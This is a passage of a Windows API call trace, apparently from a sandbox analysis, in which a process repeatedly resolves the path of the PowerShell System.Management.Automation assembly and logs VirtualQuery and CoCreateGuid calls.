lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.410] GetLastError () returned 0x0 [0052.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.411] GetLastError () returned 0x0 [0052.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.411] GetLastError () returned 0x0 [0052.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.411] GetLastError () returned 0x0 [0052.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.411] GetLastError () returned 0x0 [0052.411] VirtualQuery (in: lpAddress=0x27cd34, lpBuffer=0x27dd34, dwLength=0x1c | out: lpBuffer=0x27dd34*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.411] VirtualQuery (in: lpAddress=0x27cd70, lpBuffer=0x27dd70, dwLength=0x1c | out: lpBuffer=0x27dd70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.411] GetLastError () returned 0x0 [0052.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dad4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.411] GetLastError () returned 0x0 [0052.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dad4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.412] GetLastError () returned 0x0 [0052.412] VirtualQuery (in: lpAddress=0x27ce3c, lpBuffer=0x27de3c, dwLength=0x1c | out: lpBuffer=0x27de3c*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.412] GetLastError () returned 0x0 [0052.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dad4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.412] GetLastError () returned 0x0 [0052.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dad4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.412] GetLastError () returned 0x0 [0052.412] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x11c5b6e4, Data2=0xec36, Data3=0x4e5c, Data4=([0]=0x87, [1]=0x76, [2]=0x26, [3]=0xe2, [4]=0xc4, [5]=0xeb, [6]=0x2a, [7]=0xf0))) returned 0x0 [0052.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.412] GetLastError () returned 0x0 [0052.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.412] GetLastError () returned 0x0 [0052.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.412] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x9450ee9c, Data2=0xc422, Data3=0x45d4, Data4=([0]=0xa6, [1]=0x4c, [2]=0x80, [3]=0x19, [4]=0xa1, [5]=0xf0, [6]=0x49, [7]=0xf6))) returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.413] GetLastError () returned 0x0 [0052.414] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xa1cf296e, Data2=0x41d0, Data3=0x49a7, Data4=([0]=0xa7, [1]=0xe4, [2]=0x80, [3]=0x52, [4]=0xb3, [5]=0xd2, [6]=0xc0, [7]=0xa4))) returned 0x0 [0052.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.414] GetLastError () returned 0x0 [0052.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.414] GetLastError () returned 0x0 [0052.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.414] GetLastError () returned 0x0 [0052.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.414] GetLastError () returned 0x0 [0052.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.414] GetLastError () returned 0x0 [0052.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.414] GetLastError () returned 0x0 [0052.414] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x8a181d29, Data2=0xb6be, Data3=0x4c2d, Data4=([0]=0xa5, [1]=0x53, [2]=0xd3, [3]=0x46, [4]=0x38, [5]=0xd0, [6]=0xe6, [7]=0xc8))) returned 0x0 [0052.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.414] GetLastError () returned 0x0 [0052.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.415] GetLastError () returned 0x0 [0052.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.415] GetLastError () returned 0x0 [0052.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.415] GetLastError () returned 0x0 [0052.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.415] GetLastError () returned 0x0 [0052.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.415] GetLastError () returned 0x0 [0052.415] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xe76ee850, Data2=0x4d92, Data3=0x4fb5, Data4=([0]=0x88, [1]=0x21, [2]=0xdd, [3]=0x40, [4]=0xa7, [5]=0x4f, [6]=0x16, [7]=0x75))) returned 0x0 [0052.415] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xaf559534, Data2=0xa3f1, Data3=0x4100, Data4=([0]=0xa1, [1]=0x7e, [2]=0xef, [3]=0xe8, [4]=0x5c, [5]=0xbe, [6]=0x68, [7]=0xe5))) returned 0x0 [0052.415] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x3bd7064c, Data2=0xaa79, Data3=0x4275, Data4=([0]=0x9a, [1]=0x93, [2]=0x8f, [3]=0x65, [4]=0x1c, [5]=0x4c, [6]=0x63, [7]=0x3a))) returned 0x0 [0052.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.415] GetLastError () returned 0x0 [0052.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.415] GetLastError () returned 0x0 [0052.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.415] GetLastError () returned 0x0 [0052.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.416] GetLastError () returned 0x0 [0052.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.416] GetLastError () returned 0x0 [0052.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.416] GetLastError () returned 0x0 [0052.416] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xbe4d2111, Data2=0xffec, Data3=0x4acd, Data4=([0]=0xa7, [1]=0x50, [2]=0xbd, [3]=0x2a, [4]=0xb1, [5]=0x52, [6]=0x1f, [7]=0x19))) returned 0x0 [0052.416] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.416] GetLastError () returned 0x0 [0052.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.416] GetLastError () returned 0x0 [0052.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.416] GetLastError () returned 0x0 [0052.416] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.417] VirtualQuery (in: lpAddress=0x27ccd0, lpBuffer=0x27dcd0, dwLength=0x1c | out: lpBuffer=0x27dcd0*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.417] GetLastError () returned 0x0 [0052.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.417] GetLastError () returned 0x0 [0052.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.417] GetLastError () returned 0x0 [0052.417] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.417] VirtualQuery (in: lpAddress=0x27ccd0, lpBuffer=0x27dcd0, dwLength=0x1c | out: lpBuffer=0x27dcd0*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.417] GetLastError () returned 0x0 [0052.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.417] GetLastError () returned 0x0 